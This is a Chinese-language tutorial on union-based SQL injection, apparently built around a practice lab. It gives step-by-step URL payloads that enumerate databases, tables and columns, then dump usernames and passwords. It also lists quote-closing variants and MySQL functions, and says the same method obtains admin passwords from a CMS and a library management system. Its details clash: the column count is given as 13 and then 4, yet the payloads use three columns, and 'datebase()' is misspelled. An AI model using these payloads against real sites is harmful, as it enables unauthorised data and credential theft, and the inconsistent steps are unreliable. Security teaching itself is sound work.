SQL注入简单解释:
SQL注入就是通过把SQL命令插入到Web表单递交、输入域名或页面请求的查询字符串,最终达到欺骗服务器并执行恶意的SQL命令
CMS注入简单演示
查库=》查表=》查列=》查字段=》获取信息
拼接
试出边界值为13
除了一个一个试,我们常用二分法寻找边界值
?id=1 ?id=2 ?id=3能出不同的东西出来
因为直接查到了里面的相关内容 被回显出来了
sql注入的目的就是为了通过这个入口查询到数据库中其他的各种内容
判断注入类型
先判断是不是数字型注入
and 1=1 或 and 1=2 and前后两个值都为真时执行
都没有回显,说明不是数字型注入
判断是否为字符型注入 (在and前加 ' )
所以判断为字符型注入
接下来找回显位,先采用二分法确定列数,从1往后找
确定了列数为4,然后定位可显示数据的列,即回显位
发现回显位为2和3
在回显位利用函数进行数据库操作
?id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata%23 #查询所有数据库名
?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
#查询security数据库中的所有表名
?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
#查询user表中所有字段
?id=1' and 1=2 union select 1,group_concat(password,'-',username),3 from users%23
步骤总结
1、?id=1 --> ?id=2 --> ?id=3
2、?id=1 and 1=1%23 --> ?id=1 and 1=2%23 -->
?id=1 'and 1=1%23 --> ?id=1 and 1=2%23 -->
?id=1 ' --> 修改闭合方式直到闭合成功
3、?id=1 and 1=1 order by 3%23 (by后边的值采用二分法试)
4、?id=1 and 1=1 union select 1,2,3%23 (1,2,3......取决于前一点试出来的值,并找出回显位)
5、?id=1 and 1=1 union select 1,函数, 函数%23 (假设回显位为2和3,则可以修改2和3)
SQL注入常用函数
version() :查询数据库版本
user() :查询数据库的使用者
datebase() :查询数据库名
information_schema.schemata :该数据表储存了数据库中所有数据库的库名
information_schema.tables :该数据表储存了数据库中所有数据表的表名
information_schema.columns :该数据表储存了数据库中所有列的列名
同样可以对某图书管理系统注入
同样先判断是否有注入点和注入点类型
可以使用以下口令获取管理员账户密码
联合查询步骤
常见闭合种类
' 闭合
') 闭合
" 闭合
") 闭合
单引号''
、双引号""
、括号()
、括号+单引号('')
、多层括号+单引号,例((((((((''))))))))
。另外mysql还可以使用括号+双引号("")
和多层括号+双引号((((((((""))))))))